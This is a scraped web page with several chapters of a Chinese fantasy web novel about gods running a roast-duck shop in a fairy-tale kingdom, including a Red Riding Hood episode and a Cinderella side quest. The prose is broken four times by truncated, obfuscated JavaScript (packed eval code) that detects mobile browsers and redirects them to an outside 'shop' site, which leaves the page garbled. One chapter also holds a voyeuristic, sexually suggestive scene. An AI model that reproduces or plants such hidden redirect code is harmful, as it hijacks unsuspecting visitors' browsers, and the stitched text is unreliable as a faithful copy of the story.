35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946089|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我相信你。”女生大出手,“我要买现成的一只,然后还要预定十只,做成你们的招牌——北京烤鸭。” 有了第一份大单之后,一切都好办多了。 一传十十传百,城墙根小镇乃至基纳王国其他镇,都知道了这家盛名在外的烤鸭店。 “我可以看看你的背后的蝴蝶结吗?” “熊你有尾巴吗?” “我可以摸摸你的腰……” 最后说这话的男人的声音戛然而止。 一只羽箭破开雪雾,直直插入男人面前的雪地中! 箭头距离男人的靴子仅仅一个指节的距离,羽毛微颤。 若是男人再往前一寸,或许脚底板都要被射穿。 男人的粗喘变得急促,面色涨红,双眼瞪着眼前的箭矢,不住颤抖。 在场所有人,包括柯乐,齐齐往箭射来的方向望去。 安布洛斯金发束起,绿眸迸发出寒意,弓张满了,箭矢对准着柯乐的方向蓄势待发,只有他呼出的气成为实体,才昭示着这人还是个活物。 柯乐心头一颤,知道自己的行为并不光彩,声音也弱了些,“安布洛斯……” “谁敢往前?”安布洛斯并没有理会他,稳持着手中的弓,“如果不想死的话。” 周围的人一哄而散。 安布洛斯等到人都散得七七八八,才将弓箭收起。 柯乐还是有些不可置信,垂眸去看插在地上的箭——羽箭,不像安布洛斯的桃心箭无实体伤害,这准确度足以证明安布洛斯此刻是真的生气了。 不就是想多卖点火柴……至于吗? 柯乐拍了拍背后的熊套,示意杨鸣岐松手。 他往前想要同安布洛斯说话,却发现安布洛斯紧盯着他裸.露的腰,转头就走,语气森冷,“不要脸的家伙。” * 寒冷的冬夜,柯乐在软乎的床上盯着天花板。 身旁杨鸣岐和他盖着同一床被子,他不敢大幅度动作,怕惊扰杨鸣岐。 然而他稍稍一动,杨鸣岐就轻轻哼哼,“乐乐,你睡不着吗?要不要给你唱个摇篮曲……” 柯乐借机翻了个面,对着杨鸣岐的脸,“鸣岐,你不觉得哪里有点奇怪吗?我总感觉缺了什么。” “嗯?哪里吗……”杨鸣岐因为一整天的奔波劳碌,现在只感觉脑子到身体都累趴了,话语也显得有些敷衍,“没有吧,就是你的安布洛斯生气了……” 柯乐又把身子转了回去,面对着墙,“不是我的,他是我们的对手。” 杨鸣岐更加敷衍了,语气低沉,呼吸也逐渐变得绵长,“……好好……是你的……” 城墙根小镇的店铺都是店和住所连在一块的,布局基本上都是一致的。 因此,安布洛斯和他只有一墙之隔。 这个认知让柯乐的耳朵根有些发烫,胸口也随着热起来,好像正是被安布洛斯的箭射穿的地方。 杨鸣岐顾及好友,柯乐不睡,他总是不敢睡,一只手搭上柯乐的肩,有节奏地轻拍,像安抚婴儿那样,“睡吧乐乐,别想太多。” “鸣岐,”柯乐将额头贴近墙壁,闻到淡淡墙灰的味道,“你能不能用你的天眼看看,安布洛斯在做什么……看看他有没有背着我们干什么坏事。” 30.【47%】(说请假,但还是更新了) 柯乐不大愿意承认自己就是想知道安布洛斯在干什么。 或许已经睡着了,又或许真的是在琢磨如何击败他们。 等了有一会,杨鸣岐的声音才缓缓响起:“我有点困了……我把眼睛借给你,你看,可以吗?” “可以”两个字在嘴边转了转,柯乐张了张嘴,心跳如鼓。 他在黑暗中感到一阵天旋地转。 他轻轻地说:“好。” 杨鸣岐抬手在眉间一滑,他的第三只眼出来得及其缓慢。 待天眼全部凸显后,他将指尖放在柯乐的眉心,缓缓注入神力。 周围的环境慢慢变得清晰,黑暗里所有的东西都开始显现出轮廓,而后他开始能看到柜子里的模糊色块。 “给你了,我就没法看到了。”杨鸣岐打了个哈欠,“乐乐你看吧,但我觉得安布洛斯他应该睡了。” 就在这时,系统像报时器一样准点响起。 【小可为您播报今日攻略进度。】 【这是柯乐先生的专属私人播报。】 【您今日的攻略进度为:47%】 柯乐虎躯一震。 这是什么阶梯式跳跃??数据怎么突然就变到47了,今天不是还那么生气吗? 柯乐小心翼翼地往墙壁上凑,墙的另一边慢慢变得有颜色。 隔壁的布局和他们的果然是相同的,安布洛斯的床也是紧贴着他们的,但安布洛斯并没有在床上。 床边立着一个两米的衣柜,侧边也有一个床头柜,上面放着一包已经拆封的纸巾。 他并没有拥有真正的第三只眼,这只拟眼就像网速有些卡的电脑,画面总是有些延迟。 难道安布洛斯真的在做什么乱七八糟的实验,然后准备给他们一个彻底的下马威? 他的心脏跳动得更快了,四处搜寻着安布洛斯的身影。 终于他找到了安布洛斯。 在隔壁空间后面的墙上,挂着世界名画《丘比特与普绪克》。 画上画的是浑身赤.裸的丘比特弯下腰,第一次亲吻普绪克,这是在柯乐的前前前不知道多少代的故事,但柯乐仍旧喉结滚动,感觉浑身燥.热。 安布洛斯——这位当代的丘比特,也同样赤.裸地坐在地上,就在他的前前前不知多少代的祖宗画下。 金色的卷发披散而下,遮住他的眉眼,他扬起头,露出高挺的鼻梁,然后瞬间又低下。 腹肌随着他的呼吸,像是有脉搏一般。 他一条腿曲起,一只手撑地,另一只手戴着扳指,正…… 柯乐的身体僵住,直挺挺地一动不敢动,大气也不敢出,憋得整张脸通红,只留喉结来回地加速滚动。 在场默剧中,柯乐的视觉和想象力一起,绘成一副香.艳的画卷。 忽然安布洛斯的腿一抽,手指蜷曲,头往上昂,就在这一瞬,他往墙这边看了过来。 柯乐就这样猝不及防地与他“对视”。 一墙之隔的距离,两人的心似乎同频共振。 “乐乐。”肩膀被轻轻一拍,他像砧板上的鱼一样弓身跳起,头哐一声往墙上撞去。 天眼的最后一点余光中,安布洛斯眉头轻皱,目光锁定在墙面。 “乐乐,怎么了?”杨鸣岐被他突如其来的反应吓了一跳,困意都去了半截,“安布洛斯真的在……” “没有!”柯乐迅速反驳,又发觉自己的反应太过激烈,不知这墙隔音如何,他喘了两下,压低声音,“他什么都没做,他……在睡觉了。” “安布洛斯好快啊。”杨鸣岐打了个哈欠,“他比我还快。” 柯乐迅速涨红了脸,呛到自己的口水,剧烈咳嗽,“睡你的吧。” □□的系统数据、安布洛斯夜晚的……究竟是为什么?莫非……是早上看过他的女仆装? 柯乐在床上盯天花板,盯了好久才略有睡意,昏昏沉沉中,他入了梦。 梦里他变成人鱼,变成章鱼,又再穿回旗袍和女仆装,被安布洛斯肆意揉搓。 他在海里浮沉,在红皇后的大牢里喘.息,在卖火柴的途中…… 柯乐猛然惊醒。 天已经蒙蒙亮了,他慌张着推搡杨鸣岐,“哥们,醒醒,卖火柴的小女孩昨天没有回来!” 杨鸣岐也被瞬间惊醒,整个人弹坐起来,懊恼地揉头发,“完了,昨天她说中午要回来,我们都给忘了,得赶紧去找她!” 柯乐也撑着要起身,忽而感到身下一片潮湿,面露尬色盖过被子,对杨鸣岐说:“你先。” 二人冲出店外时,恰巧隔壁的卷帘门咔啦动了,安布洛斯将整个门刷地大敞,微微弯腰走出来。 柯乐的身形一僵,目光聚焦在他垂落的修长手指上,脸颊迅速窜起红晕。 他想扭头就走,却又怕他和杨鸣岐起疑心,只好干巴巴站着,像一根漏电的电线杆,身上的细小绒毛都炸了起来。 他颤着声道:“安、安布洛、洛斯,早、上好。” 安布洛斯皱着眉,“慌慌张张做什么?” “卖火柴的小女孩不知道哪里去了,这里不知道有没有人贩子。”杨鸣岐看到安布洛斯就像看到救命稻草似的,“丘比特,你能不能帮帮我们?” 没出息的家伙! 柯乐抓住杨鸣岐的手臂,低声呵斥:“他可是我们的对家,是我们此次任务的障碍物。” “但是他和泽菲尔……”杨鸣岐抬眸来看他,湿漉漉的眼眸让柯乐竟然觉得有些可怜,“他们是朋友。” “你的阿波罗正在享福呢。”安布洛斯挑了挑眉,“卖火柴的小女孩不见了,那我们还如何定论输赢,一起吧。” 柯乐:“啊?你要一起啊!” 安布洛斯脸上的表情一僵,瞬间阴沉,“有问题?” 柯乐偏头,“没、没有。” 杨鸣岐疑惑道:“乐乐,你怎么也和我一样有点结巴?” 柯乐:“……冻的。” 既来之则安之,柯乐沉下心来分析小女孩可能的去处。 “她这个年纪正处于叛逆期,会不会不想回来?”杨鸣岐道。 “不会。”柯乐笃定,“从利益上来说,我们可以帮助她卖火柴,让她不至于冻死在街头,她没有理由不回来。” “她昨天出门是做什么来着?”柯乐昨天的精力全在烤鸭店的经营上,“我有点忘了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950048|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她说她的外婆生日。”杨鸣岐答。 “我昨天就总感觉这个离别和剧情的发展有点熟悉……” 好烦,又要张脑子了。 就在这时,一个白花长胡子老头佝偻着腰步履蹒跚从他们面前路过,柯乐下意识拦在他面前,“爷爷,请问你昨天有没有看到一个小女孩?” “小女孩?”老头停下,打量着在雪中站着的三人,“小镇里的小女孩太多了。” “嗯……她大概有我的三分之一高,”柯乐用手比划了一下,“穿着红色的衣服,喜欢把红色的帽子盖在头上。” “好像有点印象,我昨天去山上砍柴的时候好像是有?” 柯乐见他在思考,就把事情的来龙去脉讲给他听:“小姑娘昨天提着篮子,说要去看望生日的外婆……等等!” 安布洛斯的嘴角上扬,安静地等着他说话。 “我知道为什么总觉得这个桥段熟悉了,”柯乐一捶手,“这不就是小红帽吗?” “哦哦哦!我想起来了。”老头将背上的柴火放下,抬手给三人指了路,“她往那边的山头去了,哎,你们做父母的……夫妇……夫夫的,怎么能放任一个那么小的女孩去山上的?那座山上有狼,而且头狼可聪明了,还会伪装的!” 按照狼外婆的尿.性,现在小女孩应该是……被吞了。 “好吧,那我们撤,不用比了。”柯乐往街边长椅上一坐,颔首与正盯着他的安布洛斯对视,坦然道,“安布洛斯,你可以走了,或者回店里。” 老头瞪大了眼睛,额头的皱纹挂了三道,“……哎?” 他当即气得吹胡子瞪眼,“你也太没良心了吧!” “会救的会救的,爷爷别气。”杨鸣岐慌忙去扶老头,“他只是、只是心、心急。” “那还差不多,赶紧的,你进度太慢……” 老头的话头卡顿了,枯枝一般的手指颤动。 “行啦,上了河神身的老巫婆,别装了。”柯乐看起来悠然自得,将腿翘起,“哪家会将辛辛苦苦砍的柴火放在雪地里的?还有。” 他的眼眸垂下,努嘴,“绑在你指根的红线还在,你还没找到心上人哦。” “都怪你!”老头的声音再次变成熟悉的尖锐声线,刺耳程度不亚于用指甲抠黑板,“上一次非要让河神来找我,害我被判‘危害东西方和平的蛀虫’,来催促人赶进度!” “赶进度?”安布洛斯抓住关键词,“什么进度?” “这……无可奉告。”老巫婆说,“你们赶紧的,人家小红帽都在大灰狼肚子里点火柴了!” “行吧行吧,你快走,别在这里。”柯乐摆手,补了一句,“看了烦。” 杨鸣岐突然意识到他和早上那会说的话有些相似,俯身和他咬耳朵,“乐乐、你你你、不会又……” “想什么呢,”柯乐欲言又止,还是将杨鸣岐一同赶走,“我马上来。” 雪地里,只留下安布洛斯和柯乐相望。 安布洛斯步步朝坐着的柯乐走来,直到在他面前站定,垂眸看他,抿着唇不语。 “安布洛斯。”柯乐深吸一口气,朝他伸手,“我的屁股被冰在椅子上了。” 31.【47%】元旦快乐 狼通常认为,人类对于黑暗有本能的恐惧,夜晚并不会来到荒山森林这样的地方。 “夜晚狼群反而会放松警惕。”柯乐分析着,屁股刚刚被厄洛斯喷火,霜成了水,湿哒哒的就像尿床一样,他的手一直半遮着,“我们得在晚上出击。” 夜晚山上雾气浓重,柯乐没爬过这样泥泞崎岖的山路,狗刨似的翻山越岭,鞋子上全是泥土,整个人脏兮兮的。 碎石滚落,柯乐的脚踩了坨烂泥,脚一滑就要往山下滚,好在一只手握住了他的小腿,将他的重心往后移 ——安布洛斯直接拖着他往上举,将他整个人往上掂去。 就在这时,他的脚尖触碰到一个硬物。 他伸手往泥里一掏,在听到身后嫌弃的咂舌声后,他摸到了一个滑滑的,有棱有角的东西。 借着微弱的月光,他看清了这东西。 【获得黄金矿工遗落的钻石X1,已放入背包。】 黄金矿工?就是那个在矿井里扔绳子然后赚金币和钻石的男人? 【是的,黄金矿工曾在此处挖矿。】 这回真没白来啊! 这钻石有鹅蛋那么大,这当出去了,可得抵一套超级大别墅了! “嘘,”杨鸣岐将食指抵在嘴边,“那边是不是外婆的小屋?” 柯乐顺着杨鸣岐的目光看去,只见影影绰绰的月光下,一座小屋静静地立在那里,橙黄色的灯光从窗户照出。 “我怎么感觉不是?”柯乐垫脚抬头,企图在不惊扰屋主的前提下往屋内探,“里面看起来暖呼呼的,应该是有人才对,狼应该不至于这样大摇大摆。” 安布洛斯抿唇,“东方二郎神,你不是最会隔空探物吗?” 柯乐听到“隔空探物”四字,身形一晃,随后用手肘轻撞杨鸣岐的,“你悠着点。” 杨鸣歧的天眼在眉心转动,片刻后他抬手要去揉,被柯乐拦下,“你干什么?你这眼睛凸出来的,怎么能揉?” “我、我总觉得……”杨鸣岐欲言又止,“好像有点像长针眼。” 握住他脚踝的手一颤。 “看你的吧。”脏兮兮的柯乐白了他一眼。 “果然如你所说,里面有个戴着灰黑粗布的,佝偻着腰的老婆婆……”杨鸣岐压低声音惊呼,“那真是狼外婆!他的肚子鼓鼓的,估计小女孩已经在牠肚子里了。” 安布洛斯将他托到树根旁,自己则拉满了弓。 “先别打草惊蛇,我不大相信你的水平。”柯乐反握住安布洛斯的手腕,“我有办法,你们等我信号。” 夜幕下,柯乐猫着腰匍匐着到窗户边,不敢大口喘气。 待心跳平复一些后,柯乐缓缓将头探了出去。 只见昏暗灯光下,头狼披着外婆的衣裳,正在床上看书? 牠看得聚精会神,但尖耳还是敏锐地捕捉到窗外的动静,霎时就往窗户看来! 柯乐贴着墙根大气不敢出一口,微微张着嘴吐出结霜的气。 “系统,拿出厄尔尼诺的音乐盒。” 既然音乐盒可以催眠章鱼,那一定也能催眠狼。 【小可这就为您拿出美妙音乐盒。】 他转动手柄,将音乐盒缓缓抬手挪到窗沿,一松手,美妙悦耳的音乐从这个小盒子里传了出来。 不一会儿,他听到木屋内传来狼的鼾声。 他朝安布洛斯和杨鸣岐招手,感觉自己成了那领头的羊,带领同伴伏击可恶的狼,简直帅出了天际。 柯乐缓步走到门边,眯着一边眼朝内往,发现门是从内闩着的。 他将厄洛斯从袖口叫出,“厄洛斯,把你的翅膀竖着插.进门缝。” 小龙果然听他的话,薄薄一片的长翅塞进门缝,往上一顶,门栓咔一下开了。 柯乐推开门,大摇大摆地走进屋内,更加清晰地看清屋内的陈设—— 花瓶里的水显然是新换的,桌上没有一丝灰尘,柜子里摆着已经洗好的碗,有几滴将干未干的水珠挂在碗壁。 这难道真的是狼做的? 柯乐往床上瞄去,那只狼直挺挺地躺着,将有些硬的枕头垫在脖子下。 这狼还懂得保护脊椎? 他拿起狼看的书,翻了封面,面上几个大字赫然让他一怔—— 《人,该如何生活?》 这还是一头非常有梦想的狼? 就在他为此感慨时,窗沿处物体掉咯的闷声将他惊醒。 他猛然回头,只见窗沿上站着一只面露尬色的夜鸦。 夜鸦哇地大叫一声。 与此同时,他的脖子上,尖锐冰凉的物体抵了上来。 枯燥皮毛的味道自他后面扩散开来,嘶哑的声音响起:“小东西,你为什么私闯民宅?” 他下意识想开口解释,突然想起…… 这狼凭什么说他私闯民宅? 他不动神色地默念叫出系统,猛地回头,将一根雪茄塞进狼长长的嘴筒子里。 厄洛斯朝雪茄吹了口气,火星迸发,雪茄的烟袅袅升起。 “哥们,抽根烟,有话好说。” 被塞了烟的狼:?? “怎么有点伤感,好像压力有点大。”狼突然说,“这烟是有毒吗?” 这雪茄当初是海蓝研究所特里克副所长给他的,柯乐可不知道这烟的功效如何,只知道这是贿.赂的一种手段。 狼突然呜哇一声嚎啕,“我作为头狼,每天狼群吃不饱怪我、捕不到猎物怪我、情侣狼吵架也怪我!我不做头狼,我辞职好不好?” 柯乐瞪大了双眼,狼突然往前一步,大狼爪抓住了他的肩,“回答我!” 莫非这雪茄让头狼和作为高位领导者的特里克副所长共情了? 他召唤系统拿河神斧头砍狼的念头被瞬间打断,抬手想拍拍狼的肩。 他反倒共情起来,往前探身去拿那本长得像秘籍的书,“兄弟,打工人不为难打工人。” 恰恰就是此时,桃心箭破空而来,从背后贯穿了柯乐的心脏。 扑通扑通,他的心脏再次受到桃心箭的创伤,不可置信地回头,和那双绿眸对视的同时,他听到杨鸣岐的惊呼在门边响起:“安布洛斯你拿错箭了!” 啊,果然还是好倒霉。 承载了两箭,和第一次被射中不同,他的心脏隐隐钝痛,一种难以言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955358|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喻的酥麻感蔓延开来。 他的脑子发胀,太阳穴青筋的跳动与心跳同频。 恍惚中,他看到安布洛斯抬手捂住了心脏。 明明被射中的是他,安布洛斯捂心脏做什么? “你们是谁,来做什么?”头狼意识到问题的严重性,往床后退去,獠牙露出,“你们还搞这套围殴,究竟谁更像头狼?” 柯乐哭笑不得,又看狼外婆猛抽一口雪茄。 牠嗓子本来就沙哑,此刻更像是含了一口砂砾,“我知道你们来做什么,人类。你们想找那个小女孩和她的外婆,不好意思,已经在我肚子里了。” 近距离无法射箭,安布洛斯从腰侧拔出一柄短刀,蓄势待发; 杨鸣岐对对手没有实质性的伤害,没办法只能躲在安布洛斯后,用天眼观察着这只头狼身上藏匿的东西。 头狼掀起外婆的衣帽,面上的土结块黏在毛发上,显得整只狼灰头土脸的。 安布洛斯的刀往前送了一寸,碍于柯乐站的位置,怕柯乐被拿来当挡箭牌,迟迟不敢上前给予致命一击。 “你杀了我也行。”头狼丧气地在床边蹲下,抽着雪茄,整个房间烟雾缭绕的,“反正我干不下去了,这俩人类我回去族里也要吐出来的给那些病痨鬼。” 牠突然仰天长啸,说着说着,嘴筒子不停抽抽,哇哇乱哭,“哈哈太恶心了这个描述。” 太惨了这打工人,现在领导也不是那么好当的啊,到了童话世界也是如此。 柯乐与安布洛斯对视一眼,示意他将短刀放下。 “既然你去族里也要分给别人,这样,”柯乐顿了顿,“我给你食物,而且是非常美味的熟食——你们常常吃这些生肉,很容易有寄生虫,不好。” “熟食?”头狼掀起眼皮观察他的表情,“什么熟食?” “烤鸭。”柯乐微笑,“好吃的话请多宣传。” * 隔日傍晚,烤鸭店的生意突然火爆起来,店铺周围排起长队。 “烤鸭真不错,还是真材实料的。” “你听说了吗?昨天城墙根小镇有个小女孩被吃了,是这烤鸭打动了狼。” “烤鸭打动了狼?就是说这家店的烤鸭连狼都能够放弃人质选择烤鸭。” 事情越传越离谱,但这便是舆论发酵的良好效果,这样带来流量,再稳定品质,不断改善,小店就会积攒一批固定买家。 【烤鸭店已走向可持续发展道路,支线任务[经营一家烤鸭店]完成,获得11个预测点。】 “我们晚上去搓一顿吧,”柯乐拿着钱币,吻了吻洗了n遍的钻石,然后低头摸了摸小女孩的头,“虽然哥哥还没找到卖火柴的办法,但先吃饱才有力气。” 当现实似乎不允许他偷懒,节奏加快—— 一只白鸽落到雪地上,抬脚让柯乐看绑在上面的信。 柯乐将信取下,将这白鸽放飞。 起初白鸽还不飞,直到柯乐将一块烤鸭皮喂给它。 杨鸣岐和小龙都凑过来瞧,忽然杨鸣岐的眼睛变得闪亮,“德曼先生真的要把我们介绍给王宫,那我们就可以借助他们的力量推动计划了!” 32.【47%】 小女孩和外婆被从狼肚子里,剖腹产一样被解救出来——这听起来确实有些克苏鲁,但事实就是如此。 并且这件事让中式烤鸭在基纳王国掀起了一阵美食热潮。 一时间,烤鸭店名声大噪,柯乐忙得脚不着地,身心疲惫。 相比来说,安布洛斯的外贸店就显得有些冷清。 日落时,来往客人逐渐变得稀疏。 一辆马车运载货物在隔壁店铺前停下,一位清秀的印第安伙计出来卸货,柯乐趁机踮脚往隔壁张望。 里面笼统只有两位伙计,印第安伙计卸货,另一位白人伙计清点货物,瞥见柯乐一直往店内探头,并不觉得稀奇。 “您是找安布洛斯先生?”印第安伙计也发现了他的好奇,“先生去王宫会谈了,晚上才会回来。” “您看起来有些失落,”白人伙计点他,“需要我先转告安布洛斯先生吗?” “不用不用。”柯乐慌忙摆手,“不必劳烦。” 两位伙计无暇顾及他,就去忙手头的事情,也识相地不追问。 很快太阳落山,隔壁的卷帘门落下,上了锁。 烤鸭店内,正打着热气腾腾的红油牛肉火锅。 厄洛斯站在柯乐肩膀,被辣得挂在他衣领上突突冒火星子。 “其实这个时代的牛,还是有点柴的。”杨鸣岐往碗里淋了一勺红油,“还是现代的养殖牛香。” 柯乐也夹了牛肉,习惯性吹了口气晾凉,忽然感到头一阵眩晕。 莫非是吹太大力了?原来经营这么累的,短短一天就变得这么虚了。 他啊呜一口吃了麻辣牛肉,牛肉确实柴,又带着筋,柯乐嚼了半宿嚼不动,单纯换来腮帮子的酸痛和嘴唇的麻意。 就在这时,他的唇一凉,好似有什么东西按着他的唇峰往下压。 “蛙趣!”寒意直窜天灵盖,柯乐一阵哆嗦,“鸣岐,这里有鬼。” 杨鸣岐鼓着腮帮子,说话含糊,“你是月老,竟也会想到这玩意上面去。” 柯乐咬唇,“你是二郎神,你这第三只眼足以让万鬼退散。可我,只是一届只会牵线的月老。” 就在他说完这话后,他的心脏突然一阵局促跳动——是那种久违的,熬夜快要猝死的感觉。 他捏了捏太阳穴,拒绝了杨鸣岐带他去诊所的提议,毕竟在西方排队看病,排到的时候黄花菜都凉了。 好不容易吃完一顿饭,期间小女孩一言不发,杨鸣岐怎么逗都不笑,估计是被大灰狼那一吞给整得有心里阴影了。 “我收拾就好,”杨鸣岐将碗垒起,忧心忡忡看着不大清醒、面色红得像熟虾的柯乐,“你先去洗澡,洗完去休息。” 柯乐昏昏沉沉地拿了衣服,进到二楼,往他们用了重金打造的浴缸里灌水,厄洛斯在一旁用火烧水,显得有些可笑。 尽管这办法用的时间久了些,但柯乐还是在快要晕睡过去时踏进浴缸。 温热的水漫过他的胸.部,他难免舒服地喟叹一声,想将双臂展开,让温水冲荡他的全身穴位,可偏偏有人不让他如愿。 羽箭从窗缝射进,带着一张皱巴巴的纸条,擦过他的下.半.身,落在他的浴缸内。 柯乐怔愣几秒,手忙脚乱地去捞那张纸,终于在他的胯骨处摸到那张纸。 纸上的字的墨水晕开,但不妨碍他辨认原先的字体——字极其扭曲,被水浸泡后,显得有些诡异。 “以后不要吃辣,会很痛。” 柯乐第一反应是安布洛斯是不是在监视他,但环顾四周并没有发现安布洛斯的身影。 他将耳朵附在墙壁上,听到水倾倒而下的哗啦声。 安布洛斯已经回来了? 他的身上突然窜起一整寒意,汗毛竖起,好似是寒冷的风突然灌入,将他吹得措手不及。 不会真的有鬼吧?但二郎神就在楼下,应该不会有鬼魂敢来骚扰才对。 又是一阵哗啦倒水声响起,同时寒意再次一波波袭来,柯乐终于意识到不对劲,瞬间就联想到被丘比特射的第二箭,那时安布洛斯也捂着胸口。 莫非是他们……共感了??! 这个认知让他霎时从浴缸中跳起,裹了毛巾草草擦干,套上衣服就往楼下冲,却在楼梯口听到一道女人的声音,有些尖酸刻薄,“怎么,说他两句,他还真长本事了,都能离家出走了?” 杨鸣岐正试图和女人解释,一紧张又说得磕磕绊绊,气势显然矮了一头。 女人却是越说越上头,到后来直接指着杨鸣岐的鼻子骂“杂种”。 柯乐终于忍无可忍,直接冲上前去推了女人一把,“这位大姐,这么冷的天,你不怕说太多话,寒风把你喉咙冻成冰块吗?” “你连你的母亲都不认了?”女人说罢,一巴掌就往他脸上招呼,被他堪堪躲过,反手钳住女人的手,制住女人将她的脸压在桌子上。 柯乐冷哼一声,“在这个王国,可不用怕被媒体报道。” “哎,乐乐,你你你、刚刚有点安布洛、洛斯的影子。”杨鸣岐无厘头地来了这么一句,“你们真的有、有点夫妻相。” “安布洛斯是谁?”女人试图挣脱,柯乐本就没用多大力气,瞬间被她挣脱一只手,偏头又要往他脸上甩,“你二姐和大姐后天就要进王宫,然后当上王妃和伯爵夫人的,你现在来这里开什么烤鸭店,要是害她们丢了这个机会,你会下地狱的!” 【恭喜柯乐先生和杨鸣岐先生触发隐藏次级副本[灰姑娘]。】 【通关该隐藏副本,两位将获得头衔[俄罗斯套娃],各获得一次塔罗抽卡机会。】 双副本?居然还被他刷出了隐藏款? 柯乐和杨鸣岐对视一眼,店外靴子踩雪的闷响让他俩齐齐扭头。 “地狱?”安布洛斯冷冷的声音伴着寒风吹了进来,宽阔的肩膀在雪雾里显得安全感十足,“地狱、冥王府,无论是东方西方,都不敢收他。” 柯乐见安布洛斯的唇好像比往常的要艳一些,不由想入非非,“安布洛斯,你每次都出现得挺及时。” 安布洛斯扫了他一眼,直接将共感的事情坐实,“毕竟你的手抓在这位女士手上,油腻腻的感觉让我也觉得不舒服。” “哪里来的穷酸小子?”女人被摁着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964982|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不老实,大吼,“这是我们这种家庭才用得起的,这可是上等马油!” “欧我的天,德曼尼!”另外一个女人同样穿着华丽,匆匆进来阻止这场闹剧,“你不是说你能把你那该死的继子拖回家吗,怎么会成现在的模样……你怎么在这里?” 她忽而转头死死盯着杨鸣歧,“如果因为你,你的妹妹没办法去参加舞会当被选上王妃或伯爵夫人,那你就等着被打死吧!” 德曼尼当即觉察出不对劲,“格林,你不是说,你的女儿不会参加,要把这个机会给我们家族?你这个叛徒!” 好一出老女人闺蜜互撕的好戏,柯乐可太乐意见到了。 “辛德瑞拉,反正如果你今晚没有回去为你的姐姐们制作好裙子,那么,接下去你的结局就不好说了。”德曼尼说。 哦,原来系统的XP从来没有变过,它还是那么爱性.转,这一次他叫辛德瑞拉。 格里也不落下风,“卡洛琳,你要是晚上不将裙子给你的妹妹串好项链做好首饰,那你也不必在基纳王国待下去了。” 柯乐将杨鸣岐的脸和这个名字互搭,发现竟然意外地匹配。 “柯乐,放开她吧。”安布洛斯抱胸倚在柱子旁,用大拇指指腹摩挲着掌心,然后转变为抓挠,语气不耐烦,“这老女人脸的触感太差了。” 柯乐都觉得安布洛斯有些不大礼貌了。 但这两个老女人有点像是系统派来的作为NPC的存在,如果不按照她们的指引,接下来的剧情无法发展。 他松了手劲,发觉这女人脸上的粉全都粘他手上,属实有些油腻,他拿起帕子擦了擦,“回去就只是做裙子?” “只是?”德曼尼不屑地说,“你以为你的手艺很厉害?我劝你不要太显摆,小心被人割了头。” 他朝杨鸣岐使了眼色,两个人各自顺从自己的继母“回家”。 路过抱胸的安布洛斯跟前,他揪住琢磨不透表情的旁观者安布洛斯,“麻烦你帮我看个店的。” “那恐怕我不行。”安布洛斯回答得很干脆。 柯乐瞬间松手。 还以为这个丘比特最近和他关系不错呢,现在连看个两天店都不肯? 他一咬牙,反正预测点已经到手,经营不善也没办法了。 他学着安布洛斯的样子,朝着安布洛斯哼笑,“那就让它被人抢.劫,我无所谓。” * 德曼尼夫人看不起她的继子,将柯乐直接甩上马背,自己则在马车里端详自己的银饰。 一路上柯乐在马背上颠来倒去,头从晚饭时就开始晕,此刻后脖颈的疼痛牵连着胃,一阵翻江倒海。 马车停在一座充斥着鲜花的花园内,穿着……旗袍的女子,褐色长发盘起,抹着有些红火过头的口红冲了出来。 她对着马车就开始输出,“母亲,我的这一套好看吗?是红皇后宫殿的名物呢!” “什么?红皇后宫殿、旗袍?”柯乐打量着这位女士,很想点出她头上盘着的头发好像一卷麻绳,但想了想还是咽下吐槽…… 他对着这位姐姐的脸,哇地一下吐了出来。 33.【47%】 “你必须在白王后的生日宴会前,把这两条裙子做好了。” 【触发支线任务[姐姐们的礼服],请在明天中午十一点前,做好两位姐姐的礼服。】 柯乐被推入积满灰的阁楼,仆从将布料全都一股脑搬运进来,瞬间阁楼就变成了杂物间。 各种各样的蕾丝边劈头盖脸朝他砸来,他没有半分生气,只觉无奈。 他从一堆布料里抬头,仰视他那位“继母”,“您既然那么疼爱两位姐姐,为什么不把这项任务交给专业的裁缝呢?” 